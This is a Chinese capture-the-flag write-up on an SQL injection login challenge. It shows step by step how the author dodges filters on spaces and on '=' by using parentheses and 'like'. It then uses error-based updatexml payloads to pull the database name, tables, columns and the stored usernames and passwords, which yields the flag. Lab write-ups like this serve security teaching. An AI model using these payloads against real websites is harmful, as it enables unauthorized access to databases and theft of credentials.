看题:
一路做到这里我们对这个题已经很熟悉了,我还是按照习惯,在密码栏注:
用户名:admin
密码:1'
我们知道,出现这个说明闭合成功了,但是之后发现它过滤了好多字符和语句,我输入
1' or 1=1#它回显:
空格被过滤了 ,怎样绕过呢?()绕过:
括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格
我来试一下:输入1'(or)#
发现绕过成功了,接下来可以构造查询了,需要注意的是,等号=是被过滤了,但是like可以平替:
首先,数据库查询:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
报错注入回显嘛,直接获取数据库名“geek”
接下来,查询数据表:
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
查询表内列名:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
id,username,password。看到这些,已经基本胜利了:
接着查询username和password中的内容:
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
看到没,flag已经出现,但是显示不全:flag{f166c87a-0f0e-4498-,要使用到right语句:
1'or(updatexml(1,concat(0x7e,(select(right(password,21))from(H4rDsq1)),0x7e),1))#
又得到了:98-8e23-3728c2f96a1d}
拼接一下flag,把重复部分删咯,就可以成功提交。 下面贴上笔记: